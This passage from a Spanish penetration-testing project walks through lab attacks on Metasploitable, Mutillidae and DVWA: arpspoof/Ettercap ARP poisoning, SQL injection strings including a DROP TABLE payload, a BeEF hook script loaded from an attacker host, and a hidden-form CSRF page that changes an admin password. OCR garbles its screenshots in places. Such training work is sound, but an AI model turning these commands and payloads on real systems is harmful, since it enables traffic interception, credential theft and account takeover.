raw_sig 4:64+40:0:1460:mss*20,7 :mss,sok,ts,nop,ws:df,id+:0

11 pOf en Kali Linux

Igual que Nmap, nos detecta que el sistema es una version de Linux 2.6.X

Archivo Editar Ver Buscar Terminal Ayuda
:~/Escritorio# telnet

telnet> ~Z

[1]+ Detenido telnet
:~/Escritorio# telnet 192.168.101.129

Trying 192.168.101.129...

Connected to 192.168.101.129.

Escape character is '*]'

root@kali: ~/Escritorio

Archivo Editar Ver Buscar Terminal Ayuda

Warming: Never exposgetiic yob 'feg 161 ' 128/55136 “S 192, 168.161.129/23 (mtu) 1-

c s meAp -
ContAct: MeRdgitALinRte plpll:g 192.168.161.128/55136

A i g | link Ethernet or modem
Login with mbfadmln/msfl raw_mtu 1500
|

metasploitable login: C "7~

:~/Escritordod || o) 165 191.128/55136 -> 182.168.101.,129/23, (syn+ack). -

192.168.101.129/23

Linux 2.6.x

c]

none
4:64+0:0:1460:mss*4,6:mss,sok,ts,nop,ws:df:0

server
os

dist
params
raw_sig

o nn

.-[ 192.168.101.128/55136 -> 192.168.101.129/23 (mtu) ]-

server = 192.168.101.129/23
link = Ethernet or modem
raw_mtu = 1500

12 pOf indica que 192.168.101.129 tiene Linux 2.6.X
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Para recopilar informacién no es necesario empezar desde cero, ya que para eso se
crearon las suites para agrupar una serie de herramientas conocidas para agilizar el
trabajo. Sparta es un kit de herramientas para realizar pruebas de penetracién. Lo mas
interesante de esta herramienta es la automatizacion de los servicios que podemos
ejecutar para realizar las pruebas, como realizar diferentes tipos de escaneos con Nmap,
realizar pruebas contra servidores web con Nikto o usar modulos de fuerza bruta contra
servicios de login.

SPARTA 1.0.2 (BETA) - untitled - /root/Escritorio/
File Help

Scan Brute

Hosts  Services Tools Services Scripts Information Motes nikto (80/tcp) 2 screenshot (80/tcp) = smtp-enum-vrfy (25/tep) =
0s Host Port Protocol State Name Version
4 192.168.101.129 @ 21 tcp open ftp vsftpd 2.3.4

& 22 tecp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
® 23 tecp open telnet Linux telnetd
® 25 tep open smtp Postfix smtpd
@ 53 tcp open domain ISC BIND 9.4.2
@& 80 tecp open http Apache hitpd 2.2.8 ((Ubuntu) DAV/2)
® 111 tecp open rpcbind 2 (RPC #100000)
® 137 udp open netbios-ns Microsoft Windows XP netbios-ssn
® 139 tep open netbios-ssn  Samba smbd 3.X (workgroup: WORKGROUP)
® 445 tecp open netbios-ssn  Samba smbd 3.X (workgroup: WORKGROUP)
“g e @ 512 tep open exec netkit-rsh rexecd
Log

Progress Tool Host Start time End time

I nmap (stage 5) 192.168.101.129 15 jul 2016 21:25:00 15 jul 2016 21:27:28 Finished

N ftp-default (21/tcp) 192.168.101.129 15 jul 2016 21:24:11 15 jul 2016 21:24:11 Finished

NN nmap (stage 4) 192.168.101.129 15 jul 2016 21:24:11 15 jul 2016 21:25:00 Finished

13 Sparta mostrando el anterior escaneo realizado. Se ve que es un resultado mds “amigable” que la salida de Nmap.

Hay que tener cuidado con usar esta herramienta ya que, aunque la estamos utilizando
para recopilar informacién, puede realizar ataques de fuerza bruta si no especificamos
exactamente lo que necesitamos, lo que significa que se estaria produciendo un delito,
tal y como dice el Articulo 197 del Cédigo Penal (Ley Orgdnica 10/1995 de 23 de
noviembre):

“Las mismas penas (prisién de uno a cuatro afios y multa de doce a veinticuatro meses) se
impondrdn al que, sin estar autorizado, se apodere, utilice o modifique, en perjuicio de tercero,
datos reservados de cardcter personal o familiar de otro que se hallen registrados en ficheros o
soportes informdticos, electrénicos o telemdticos, o en cualquier otro tipo de archivo o registro
publico o privado. Iguales penas se impondrdn a quien, sin estar autorizado, acceda por
cualquier medio a los mismos y a quien los altere o utilice en perjuicio del titular de los datos o
de un tercero.”

27



28



2 - Atagques en redes IPv4

IP es uno de esos términos que las personas van aprendiendo con el tiempo cuando
empiezan a manejar algun tipo de ordenador. No es necesario que sepan como
funciona, pero saben que es algo importante relacionado con Internet, como el
concepto de “corriente eléctrica” en el siglo pasado.

Por esa misma razon el usuario medio deberia sentirse indefenso al leer el titulo de este
proyecto: “éEsto significa que me pueden robar dinero o mi cuenta de Facebook?”, y lo
cierto es que si, siempre y cuando no se adopten los habitos y consejos que ofrecen los
profesionales, como el programa Cyber Streetwise en Reino Unido.

Generalizando, esta serie de pruebas sirven para aduefarse de informacidn ajena, ya
sea de particulares o de empresas, siempre que se den los casos oportunos. Dicho de
otro modo, si alguna de estas pruebas es satisfactoria debemos avisar al administrador
de dicho sistema para que ponga remedio a la vulnerabilidad. Esta practica se conoce
como Hacking ético y actualmente en Espafia es penada con la carcel siempre y cuando
no se haya acordado previamente con el administrador del sistema que se produciran
intentos de vulneraciones.

La solucion a esto es la aparicidn de la figura de pentester (penetration tester), aquel que
queda contratado legalmente para realizar el servicio de vulnerar y revelar vias de
explotacién en un sistema procurando no impedir su correcto funcionamiento y con el
deber de informar de los posibles fallos de seguridad encontrados.

Normalmente la mayoria de los ataques se agrupan en algunos de estos grupos:

e Intromisidn: Acceso no autorizado, Cracking de claves WiFi

e Espionaje: Wardriving, ingenieria social

e Interceptacién: Man in the Middle

e Suplantacién: Phishing, ARP Spoofing, IP Spoofing...

e Modificacion: SQL Injection, XSS, CSRF

e Denegacion de servicio: DoS/DDoS, “tirar del cable de corriente” ©

El objetivo del atacante por otro lado varia dependiendo de los intereses que le muevan:
ganar dinero vendiendo exploits en la Deep web o instalando distintos tipos de malware,
engafiar a algun conocido para divertirse, realizar hacking ético e incluso intentar
conseguir un empleo a través de ello... En este caso, el objetivo de simular ser el atacante
es para aprender sobre ellos y cémo funcionan.

En este apartado comenzardn las pruebas de concepto sobre diversos ataques que se
dan en redes IPv4 ademas de su funcionamiento y sus caracteristicas: ARP Poisoning,
SQL Injection, Cross-Site Scripting, Cross-Site Request Forgery, la vulnerabilidad
HeartBleed y los ataques DoS.
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2.1 - PoC: Man in the Middle. ARP Poisoning

Como se vio en el apartado de Hijacking la técnica de Man in the Middle (MitM) se basa
en la interceptacion de trafico entre dos entidades.

No hace falta definir en detalle cdbmo funciona una comunicacién TCP/IP, pero si es
importante recordar que existe en cada uno de los equipos de una red que puedan tener
una IP asignada las llamadas tablas ARP, que funcionan como una memoria caché para
resolver direcciones IP a MAC de forma mas rdpida y ayudar que los paquetes lleguen a
su destino.

Una interceptacion MitM se puede hacer de varias maneras, pero la mds simple es con
ARP Poisoning o ARP Spoofing. El objetivo es “envenenar” las tablas ARP asignandole la
direccion MAC del atacante a la IP del objetivo para hacer creer al router que el trafico
va dirigido correctamente. Esto se hace comunmente enviando paquetes ARP falsos a la
direccién IP victima la localizacién de la puerta de enlace, que evidentemente conduce
a la maquina del atacante.

root@debian:/home/alvarc# arp

Address HWtype HwWaddress Flags Mask Iface
192.168.101.25%4 ether 00:50:56:T9:cB:e2 C ethi
192.168.101.129 ether 00:0c:29:73:da:50 C ethi
192 .168.101.128 ether B0:0c:29:12:b9:2b C athd
192.168.101.1 ether B0:50:56:c0:00:01 C athd

14 Tabla ARP de la victima sin modificar

Para esta prueba vamos a intentar hacer un envenenamiento con dos herramientas
distintas: Ettercap y arpspoof.

®,

¢ Ettercap

Ettercap es un sniffer disefado especialmente para realizar MitM. Ademas de
envenenamiento ARP nos permite usar otras técnicas como Port stealing, DHCP spoofing
e ICMP redirect, pero por comodidad se usara Wireshark para analizar el trafico.

Usaremos la interfaz grafica de Ettercap (ettercap-gtk) para el desarrollo de esta prueba.
Arrancamos el sniffer en modo Unified sniffing, que significa que se leeran todos los
paquetes que pasen por la maquina.

ettercap 0.8.2
File Sniff Options Info
Unified sniffing... Ctrl+U
Bridged sniffing... Ctrl+B

Set pcap filter...

—

Ctrl+P




El segundo paso es escanear los hosts que hay en la red. Si ya sabemos lo que hay gracias
a Nmap podemos saltarnos esta parte y agregar los objetivos directamente, pero si no
Ettercap escanea la red a la que estd conectado.

IP Address MAC Address Description
192.168.101.1  00:50:56:C0:00:01
192.168.101.129 00:0C:29:73:DA:50
192.168.101.134 00:0C:29:FB:6D:09

192.168.101.254 00:50:56:F9:C6:E2

Delete Host Add to Target 1 Add to Target 2

En este caso lo que queremos es interceptar la comunicacion entre Debian vy
Metasploitable, por lo que deberemos envenenar ambas tablas ARP agregandolos como
objetivos (target 1 -> Metasploitable, target 2 -> Debian)

MITM Attack: ARP Poisoning @
Optional parameters
9 ARP poiscning victims:
¥ Sniff remote connections.
Only poison one-way. GROUF 1:192.168.101.129 00:0C:29:73:DA:50

Cancelar Aceptar GROUP 2:192.168.101.134 00:0C:29:FB:6D:09

Se nos da la posibilidad de especificar si queremos leer las conexiones remotas vy si
queremos que el envenenamiento sea en una sola direccién. Para este ejemplo nos
basta lo primero.

Una vez aceptemos ya estaremos a la escucha del trafico. Podemos comprobar que
efectivamente las tablas de la victima estan modificadas respecto a la primera imagen:

root@debian: /home/alvaro# arp

Address HWtype HWaddress Flags Mask Iface
152.168.101.254 ether 00:50:56:f9:chH:e2 C eth@
182.168.161.129 ether B0:0c:29:12:b%9:eb C athi
182.168.1061.128 ether B0:0c:29:12:b%9:eb C eth@
192.168.161.1 eEher 00:50:56:c0:00:01 C eth@

15 Tabla ARP de la victima modificada
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Para hacer la prueba conectamos Debian a Metasploitable a través de Telnet, lo que
conlleva a la siguiente imagen en Kali:

No, Time Source | |- - - - - —_—
30 20,163785820 192.168.101.134 Rl B —
31 20,164177116 152,168,

19

warning: never expose this wM to an untrusted network!
contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: mmssffaaddmmiinn
Password: nsfadmin

Last login: Fri Jul 15 ©2:48:27 EDT 20816 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 18 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
a° ; the exact distribution terms for each program are described in the
< 168,101,134 individual files in fusr/sharefdoc/*/copyright.

16 Texto plano interceptado desde Kali

La imagen representa parte del trafico que se ha interceptado junto con la opcién de
seguir la traza TCP (Follow TCP Stream) en Wireshark. Como Telnet es un protocolo que
no cifra las conversaciones por defecto podemos ver toda la informacion enviada en
texto plano.

Un detalle de Ettercap es que es capaz de detectar informaciéon que encuentre
interesante, en este caso nos ofrece esta salida:

TELMET : 192.168.101.129:23 -> USER: msfadmin PASS: msfadmin

«» Arpspoof + Driftnet

En esta prueba vamos a utilizar MitM para recolectar imagenes con Driftnet. Arpspoof
permite realizar el envenenamiento sin ningin anadido (solo desde consola) mientras
que Driftnet permite la visualizacidn de imagenes detectadas entre el trafico. Como
vamos a usar Internet para la prueba, cambiamos la configuracion de las interfaces de
red de Kali y Debian a “Bridged”, para asignarle direcciones IP con salida hacia el
exterior. Asi, al ejecutar:

arpspoof -i eth0 -t 192.168.1.48 192.168.1.1
arpspoof -i ethO -t 192.168.1.1 192.168.1.48

en dos consolas distintas inundamos el trafico de paquetes ARP falsos para que el trafico
gue vaya de la maquina al router y viceversa pase por la maquina del atacante:

2858 218.649247253 vmware_12:b9:eh vmware_fb:ed:eg ARP 42 192.168.1.1 is at e0:0c:29:12:h9:eb
2871 220,653541171 vVmware_12:h9;eh vmware_fh;6d; 09 ARP 42 182.168.1.1 1s at 06:8c;29:12:h9.:eh
2872 222 .656726620 Vmware_12:h9:eh vmware_fh;6d; 09 ARP 42 182.168.1.1 1s at 06:8c;29:12:h9.:eh
2875 224,.659932694 Vmware_12:h9;eb Wmware_fh;&d, 09 ARP 42 182,168.1.1 1s at 00:8c;29:12:h%:eh
2884 226,.662921979 Vmware_12:h9:eb Wmware_fh;&d, 09 ARP 42 182,168.1.1 1s at 00:8c;29:12:h%:eh

17 Envenenamiento ARP
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Una vez hecho esto podemos usar Driftnet con el comando:
driftnet -p -i eth0 -a -d /imagenes

%+ -iindica la interfaz de red que se escuchara. Si no se especifica una en concreto
Driftnet escuchara en todas las interfaces posibles.

** -p indica que no vamos a usar el modo promiscuo, porque en ese caso no es

necesario realizar la suplantacién. Si no lo indicamos Driftnet analizara el trafico

de todos los hosts disponibles.

X/

+» -aindica que no se utilizard el modo grafico.

X/

%+ -dindica que se guardaran las imagenes detectadas en la carpeta que se indique.

Recientes
Carpeta personal
Escritorio

B ©

]

F 2 e
-« 13
® Descargas driftnet- driftnet- driftnet- driftnet-
5789f5d0109c¢f92 5789f5dc0ded726 5789f5dc1befd79 5789f5dc2d1d5ae
[ Documentos ; : : :
e.gif 3.jpeg f.jpeg 9.jpeg
‘0] Imagenes
J3 Msica memories
never
H Videos die
) cRapetera driftnet- driftnet- driftnet- driftnet-
= 5789f5dc3f2dba3 5789f5dc4e6afb6 5789f5dc6b68079 5789f5dc7c83e45
[=] Disco Disquete : A 3 :
Ljpeg 6.jpeg ajpeg 8.jpeg

4+ Otras ubicaciones ‘I

18 Imdgenes capturadas con Driftnet

Driftnet también puede funcionar como sniffer con la opcién -v, ya que, aunque no
cuente tanta informacién como Wireshark, sefiala las peticiones y los puertos a los que
se estd accediendo.

7 2016 [driftnet] info: new connection:
2016 [driftnet] info: new connection:

2016 [driftnet] info: ne onnection:

2016 [driftnet] info: new connection:

19 Trdfico capturado con Driftnet

Esta aplicacién es solo una prueba de cdémo de facil seria obtener informacién en una
red compartida porque aunque solo se preocupe de recopilar imagenes (que ya es en si
una violacién de privacidad importante) nos puede dar una idea de como se puede
utilizar los ataques de MitM para otro tipo de tareas.
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2.2 - PoC: SQL Injection

Una inyeccion SQL consiste en la introduccién de una consulta SQL a través de un punto
de entrada para usuarios sin privilegios. Lo mds comun es pensar en una pantalla de
acceso en un servidor web. Las inyecciones SQL, en el caso de ser ejecutadas
correctamente, son capaces de realizar acciones CRUD sobre la base de datos que se
halle detras del servicio, ejecutar operaciones de administracién e incluso llegar a
ejecutar comandos del sistema operativo.

La posibilidad de explotar este tipo de ataques se debe mayormente a una mala
programacioén en el cédigo que enlaza las consultas a la base de datos con las entradas
gue puede escribir el usuario, ya que se suele suponer que el usuario no escribird mas
alla de lo que se le pida en el formulario.

El ejemplo mas sencillo es el de un formulario para acceder a un servicio:

e Suponiendo que existe un servicio tras el servidor que realiza la consulta “SELECT
id FROM tabla WHERE user="usuario’ and password="password’ ”

e Lasentencia sera correcta sintacticamente y sera cierta si se dan las condiciones
especificadas.

e No es posible impedir que el usuario escriba “ ‘or ‘1’="1 “.

e La consulta “SELECT id FROM tabla WHERE user="usuario’ and password=" ‘or
1’="1 ’ ” sigue siendo sintacticamente correcta y lo que es mas importante:
también serd verdadera, por lo que devolveria el atributo indicado sin
problemas.

Para esta prueba vamos a usar una de las aplicaciones web que trae Metasploitable:
Mutillidae. Esta aplicacidon es vulnerable a gran parte de las vulnerabilidades del top ten
de OWASP. Ademas permite configurar cédmo sera el nivel de seguridad, desde 0
(inseguro) hasta 5 (muy seguro) y la posibilidad de darnos pistas o no.

% Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of
[owr OWASP Top 10

Latest Version/ Installation

« Latest Version

i + Installation Instructions

« Usage Instructions
—T

« Get rid of those pesky PHP errors
+ Change Log
* Notes

Site ‘Samurai WTF and Backtrack contains all the tools needed or you may build your own collection
hacked...err...quality-
tested with Samurai
WTF, Backtrack, —=
Firefox, Burp-Suite, Q
Netcat, and these
Mozilla Add-ons

/
back|track / ‘

Samurai Web Testing Framework
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Antes de realizar las pruebas hay que cambiar un parametro en Metasploitable para que
funcione bien el acceso a la base de datos para la versién 2.1.19 de Mutillidae:

Editamos el fichero /var/www/mutillidae/config.inc para que quede asi:

s NOTE: On Samurai, the $dbpass password is "samurai” rather than blan$

"localhost’;
'root’:

Sdbhost
Sdbuser
Sdbpass
Sdbname

'owaspld'

Con esto hecho ya podemos probar Please enter username and password
to view account details

la sentencia del anterior ejemplo en
la pantalla de acceso, y el resultado  Name or'1=1
es el esperado: todos los registros Password escccccoce

que cumplen la condicion (aquellos

View Account Details

qgue cumplen que 1=1, es decir,
Dont have an account? Please register here

todos) se muestran en pantalla.

| Results for . 17 records found.

Username=admin Username=jochn
Password=adminpass Password=monkey
Signature=Monley! Signature=| like the smell of confunl
Username=adrian Username=jeremy
Password=somepassword Password=password

Signature=Zombie Films Roclk! Signature=d1373 1337 speak

Realmente no importa lo que escribamos en cualquier otro campo distinto al inyectable,
ya que la preferencia de operadores hace que la consulta sea siempre verdadera. En el
caso anterior tenemos una sentencia del estilo “falso && falso || verdadero “, cuyo
resultado es verdadero.

Especialmente delicado es el caso donde la aplicacidn sea vulnerable a las consultas
“apiladas”, es decir, que se pueda ejecutar cualquier tipo de consulta SQL en la

"

inyeccidén, como puede ser “ ‘or 1=1;DROP TABLE accounts; --
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Para automatizar parte del proceso de descubrir el tipo de inyeccidnes que se pueden
realizar se cred la herramienta SQLmap, que realiza peticiones a los parametros de una
URL para explotar un buen nimero de bases de datos con distintos tipos de ataques,
como consultas basadas en parametros booleanos o consultas basadas en errores.

mutillide

gin

Para ejecutarlo en esta prueba usamos las siguientes opciones que se ven en la imagen:

e -uindica la direccién URL posiblemente vulnerable

e --data indica los pardmetros que pueden ser objeto de inyeccidn, o bien los
pardmetros pasados por GET o POST

e -—-cookie sirve para especificar cualquier cookie que pueda ser de utilidad, como
la cookie de sesidn

e --dbs nos muestra los nombres de las bases de datos

El resultado de esta ejecucion nos avisa de que el pardmetro “username” es vulnerable
a lasinyeccidnes SQL y en el transcurso de la ejecucion nos ird preguntando si queremos
obviar procesos extra, como probar ataques sobre otro tipo de bases de datos o seguir
redirecciones. La opcidn dbs nos muestra lo siguiente al finalizar:

Una vez sabiendo las _
bases de datos que b aonl 1 X ocv: PP 4, A ; 6 reren)
existen, podemos seguir
investigando con los § il al::nj_e databases [7]:
distintos pardmetros de la
herramienta: -D para

elegir una base de datos, -

N —————
PO P P P P

T para elegir una tabla, --
columns para devolver las columnas de una tabla, --dump para devolver los valores de
la tabla, etc...

Al final el resultado es el mismo que al principio, cuando probdabamos a ciegas una
inyeccién:

| admin
ian

a
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2.3 - PoC: Cross-Site Scripting

De forma similar a las inyecciones SQL existe el Cross-Site Scripting (XSS), una
vulnerabilidad en aplicaciones web que permite a los atacantes inyectar scripts en
Javascript y modificar aplicaciones web que estén abiertas al publico, haciendo que
cualquier cliente que acceda al servicio sea una potencial victima. La efectividad de este
ataque se basa mayormente en la confianza que un usuario deposita en un servicio web,
por lo que el phishing esta muy relacionado con este tipo de ataques.

Entre las cosas que se pueden lograr con XSS estan el robo de cookies, cambio de
configuraciones en el servidor con acceso restringido, anuncios falsos o enlaces a
ubicaciones maliciosas, robo de tokens de formularios, etc. Al igual que las inyecciones
SQL, todo depende del objetivo del atacante y lo que pretenda conseguir.

Existen tres tipos de XSS:

e Persistente/Almacenado: cuando el script queda almacenado en la aplicacidn
web.

o Cada vez que un usuario realice una peticidn el servicio devolvera el
resultado modificado por el atacante. Se produce si el desarrollador no
filtra las entradas de datos de los usuarios de una forma adecuada. El
ejemplo mas sencillo de entender es que el atacante consiga insertar
codigo Javascript dentro de una base de datos como un elemento
accesible facilmente. Asi al realizar la peticidn se ejecutara lo que este
programado en el cédigo.

¢ No persistente/Reflejado: cuando el usuario debe seguir un enlace hasta un sitio
donde estard expuesto a ser atacado.
o Laforma mas comun de realizar este ataque es a través de phishing:
1. El atacante modifica una URL para ejecutar cédigo JS externoy la
envia a un buen ndmero de usuarios.
2. Una de las victimas accede al enlace y ejecuta una peticién a la
aplicacion web.
3. La aplicacién devuelve el cédigo JS malicioso en la respuesta.
El navegador de la victima ejecuta el cddigo JS malicioso. Si todo
ha funcionado el atacante puede acceder a cualquier tipo de
informacidn: cookies, teclas pulsadas, nombres de usuarios, etc.
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e XSS basado en DOM: el script se ejecuta directamente en el navegador del

usuario a través del DOM.

o Funciona de forma parecida al XSS reflejado, pero la diferencia estd en
que el cédigo que devuelve la aplicacién es legitimo, pero no el

contenido. El codigo malicioso se ejecuta tras cargar la pagina.

Como herramienta de explotacidn tenemos XSSer, un framework para detectar, explotar
y reportar XSS. Esta herramienta realiza una serie de pruebas frente a la URL indicada y

nos permite modificar tanto el tipo de ataque que queremos realizar como varias
opciones de anonimato, ademds de mostrar los enlaces vulnerables encontrados.
Tambien posee un modo “guiado” por si queremos saltarnos los detalles y empezar lo

antes posible.

La imagen a continuacidn representa la salida sobre una de las URLs vulnerables de

Mutillidae:

XSSer v1.6b: "Grey Swarm!" - (http://xsser.sf.net)

XSSer Expert Visor Wizard Helper Documentation About

Wizard: Startup

[*] Statistic:

Test Time Duration: 0:00:26.239835

Total Connections: 297

200-0OK: 297 | 404: 0 | 503: 0 | Others: 0
Connec: 100 %

Total Payloads: 294

Checker: 0 | Manual: 0 | Auto: 294 | DCP: 0 | DOM: O | Induced: 0 | XSR: 0 | XSA: 0 | COO: 0

Total Injections: 294

Failed: 264 | Sucessfull: 30
Accur:10%

Total Discovered: 30

Start Wizard Helper!!

Fly mode(s): (= Explorer Intruder bing v

Command(s): | xsser

v Statistics Tweet Verbose Launch Shorters: 3/20070

20 Estadisticas del XSS en mutillidae/add-to-your-blog.php
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Se ha configurado para realizar XSS que solo muestren alertas, y de todas las conexiones
realizadas 30 han tenido éxito, por lo que cualquiera de esos 30 enlaces que se han
generado en la aplicacion nos permitiran ejecutar cédigo malicioso.

Si queremos configurar un servidor para que esté a la escucha de otras peticiones
podemos montar nuestro propio script de registros en un servidor comun, pero no esta
de mds probar BeEF. BeEF (Browser Exploitation Framework) es un framework disefiado
especialmente para los navegadores web, y como tal también es capaz de conseguir
informacién a partir de XSS. Para ello, una vez se sabe que determinada URL es
vulnerable a XSS, se inyecta un cédigo javascript que enlazard la web con la suite. Esto
requiere que se ejecute el script:

<script src=http://<IP>:3000/hook.js></script>

Donde IP es la direccidén de nuestro servidor. Una vez que este cddigo se haya inyectado
se podra ver una captura como la siguiente (en este caso el servidor es localhost):
Hooked Browsers

4 —] Online Browsers
4(7192.168.101.129 Details Logs Cormmands Ricler XssRays Ipec Metwaork WebRTC

Getting Started Logs Current Browser

@ 017001
|__]Offline Browsers

= Category: Browser [7 tems)

Browser Name: Firefox

Browser Version: 43

Browser UA String: Mozila/5 .0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 lceweasell43.0.4
Browser Language: en-US

Browser Platform: Linux x86_64

Browser Plugins: Gnome Shell Integration-v.

Window Size: Width: 1280, Height: 616
@ Category: Browser Components (12 ltems)

= Category: Hooked Page (5 ltems)

Page Title: Unknown

Page URI: http:!f192.168.10 1. 129/mutillidaeiinds x php?page=acd-to-your-blog.php
FPage Referrer: http:/192.168.10 1. 129/mutillidae/index php?page=add-to-your-blog.php
HostHameP: 152.168.101.129

Cookies: showhints=0; username=alvaro; uid=17; PHFSESSID=16a84a0abh8d5aZced7 dedat 1d 1550113,
BEEFHOOK=ZpGlzyOgaTYMN3oad XgAghSaUMIbZL 34 rgiOkwlinhuZialWw AkOhg UR Acbvd IpUGt AelgjJ AsRREsXrk

# Category: Host [§ ltems )

21 BeEF mostrando los resultados del "hook" insertado en la web
Lo interesante de esta herramienta es que funciona muy bien con el phishing.
Suponiendo el caso en que se envien una cantidad suficiente correos con un enlace a

una pagina “de confianza” que inyecta cédigo JS malicioso, existe alguna probabilidad
de que al menos uno de esos correos tenga éxito.
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2.4 - PoC: Cross-Site Request Forgery

Las vulnerabilidades XSS pretenden explotar la confianza que un usuario tiene en un sitio
en particular, pero si se da el caso contrario estamos hablando de Cross-Site Request
Forgery o falsificacion de peticiones (CSRF), explotar la confianza que un sitio tiene en
un usuario concreto.

El objetivo de CSRF no es el robo de informacién puesto que el atacante no tiene ninguna
forma de ver la respuesta de las peticiones falsificadas. En su lugar estos ataques se
aprovechan de las sesiones activas para realizar acciones a las que sabe, con cierto grado
de probabilidad, que el usuario tiene acceso, especialmente peligroso si el usuario tiene
permisos de administrador en el objetivo del atacante (como una aplicaciéon web).

El siguiente esquema expone el funcionamiento bdsico de este ataque:

1. La victima realiza 4. El servidor vulnerable ejecuta acciones que
una peticion al sitio el usuario no ha pedido de forma consciente,
web malicioso ya que han sido producto de la peticién del
| atacante
'—.
o i
PC-PT
Victima
2. El servidor responde 3. El usuario,
Server-PT con una accién que no conectado al servidor Server-PT

Servidor maliciose corresponde a su dominio vulnerable, mandala  seryidor vulnerable

peticion “falsificada”

Se entiende como “peticidn falsificada” aquella que realiza el navegador de la victima a
causa de la respuesta devuelta por el servidor malicioso. No es extrafio que haya pdaginas
web donde algunas de sus imagenes se obtengan de servidores externos por lo que si
dichos enlaces ejecutasen acciones como cambiar contrasenas o hacer listados de datos
aprovechando que el usuario mantiene una conexién activa y tienen éxito contra el
servidor objetivo estariamos hablando de un gran problema.

Una caracteristica de estos ataques es que son dificilmente detectables ya que, aunque
las peticiones hayan sido falsificadas, se han enviado de forma legitima y no dejan
ningun rastro mas alld del que realiza la victima, por lo que se requieren investigaciones
forenses si se sospecha que se ha producido un ataque con CSRF.



Esta vez usamos DVWA para probar CSRF. DVWA (Damn Vulnerable Web Application)
es similar a Mutillidae, una aplicacién web disefiada para ser explotada y que también
sirve para hacer las pruebas que se han realizado antes.

El objetivo en esta prueba es el de cambiar la contrasefia de administrador, asi que
primero configuramos DVWA.

€ 192.168.101.129 v C

tmr Vulnerability: Cross Site Request Forgery (CSRF)

(nstructions Change your admin password:
Setup

T
Command Execution Confirm new passward
File Inclusion Change

€Al ninntian |

Mew password:

22 Objetivo CSRF

Antes de empezar hay que configurar el nivel de seguridad de DVWA en nivel bajo, ya
gue por defecto se encuentra en nivel alto y el formulario de cambio de contrasefas es
diferente: en nivel alto se pide la contrasefia actual mientras que en nivel bajo solo se
pide la nueva contrasefia y su confirmacién.

Como el tréfico no esta siendo cifrado podemos suponer que tras un ataque MitM como
se vié antes hemos podido obtener con Wireshark la siguiente informacién:

GET /dvwasvulnerabilities/csrf/?password_new=alvaro&password_conf=alvaro&Change=Change HTTP/1.1
Host: 192.168.101.129

User-agent: Mozillass.@ (x11, Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*%/%,q0=0.8

Accept-Language: es-ES,es,q=0.8,en-Us;g=0.5,en;0=0.3

Accept-Encoding: gzip, deflate

Referer; http:// 182 168.101.128/dvwasvulnerabilities/csrf/

cookie: security=low;
BEEFHOOK=ZpGJZy0gETYN3oa4XgAgh88UMT1R2L34rgjokwl jnHUZiadwakohgl lIRAChvd1pUG taelyjJASRRSXrk;
PHPSESSID=a346a8bd823aeesc882bh381e62bhddae

connection: keep-alive

Se da un hecho curioso: hemos sido capaces de obtener una contrasefia pero no
sabemos el nombre del usuario que la ha cambiado, por lo que, o bien hay que esperar
a nueva informacion o bien intentar explotar lo que acabamos de descubrir: se ha
realizado una peticidon GET cuyos parametros son la nueva contrasefa y su confirmacion.
Podemos empezar a asumir como funciona la aplicacion web a partir de aqui.
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Por otro lado, suponemos que el atacante, una vez sabiendo como funcionan las
peticiones, configura un servidor web en el que se aloja un formulario HTML muy simple
pero efectivo:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"

<html=
<head=
</head=>
=body=
=p=
Esta es una pagina que hace cosas raras
</p=
<form action="http://192.168.101.129/dvwa/vulnerabilities/csrf/" method="get"=>
<input type="hidden" name="password new" value="cocacola" /=
<input type="hidden" name="password conf" value="cocacola' /=
<input type="hidden" name="Change" value="Change" /=
<input type="submit" valus="Dale"/=>
</Torm=
=/body=
</html=

Este formulario estd hecho para lanzar la peticién tras pulsar el botén, pero lo mas
conveniente para el atacante es lanzar la peticion al cargar directamente el HTML. Con
nuestro formulario creado es hora de hacer que la victima pique el anzuelo con técnicas
de phishing o ingenieria social.

192.168.101.128

Esta es una pagina que hace cosas raras

Dale

Si lo conseguimos el formulario hard un GET al servidor (en el que el usuario ya esta
conectado), enviara los valores indicados en los pardmetros y como DVWA no tiene
proteccion contra CSRF se realizard el cambio de contraseiia.

Para automatizar la tarea para este tipo de ataques podemos usar ZAP (OWASP Zed
Attack Proxy), una herramienta para encontrar vulnerabilidades en aplicaciones web.
Una de las pegas que encontramos es que el navegador por defecto de Kali es Iceweasel,
fork de Firefox, y que este a partir de la versién 42 no nos deja instalar addons sin
certificar como Plug’n’Hack que es la manera mas facil de lanzar ZAP, por lo que
debemos descargar una versién anterior o bien entretenerse en su configuracién.

Aunque la anterior configuracion para ZAP se puede usar para realizar MitM, no es
necesario configurarlo para su uso con el navegador ya que también puede detectar
multitud de vulnerabilidades sefialando directamente la URL del objetivo.
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2.5 - PoC: HeartBleed

En 2014 se descubrié lo que seria una de las vulnerabilidades mas criticas para un gran
numero de servidores activos. HeartBleed es una vulnerabilidad que afecta a OpenSSL,
una de las librerias criptograficas mas usadas y que forma parte de la base de muchos
sistemas seguros en Internet. El ejemplo mas claro seria el de un certificado SSL para
cualquiera de los muchos comercios online que existen que, de haber estado expuestos
al fallo, habria anulado cualquier otro tipo de configuracion de seguridad que tuviera
(firewalls, plugins o modulos de seguridad, sistemas de deteccion de intrusos, etc.) y
permitido el robo masivo de informacién.

Este fallo permite al atacante leer hasta 64Kb de memoria por cada mensaje enviado
por medio de un error de implementacién de una extensién del protocolo TLS/DTLS,
Heartbeat. Esta extension estd a un nivel por encima de la capa TLS y mantiene la
conexién entre dos nodos intercambidndose “latidos” ya que es mds simple que volver
a comprobar quien sigue activo (o vivo) y quien no.

Las peticiones que se mandan son de tipo Echo, es decir, el cliente enviard un mensaje
concreto y debe recibir el mismo mensaje de parte del servidor. Si en algin momento
no se recibe respuesta dependiendo del protocolo de transporte y del nimero de
retransmisiones del mensaje se cerrard la conexion.

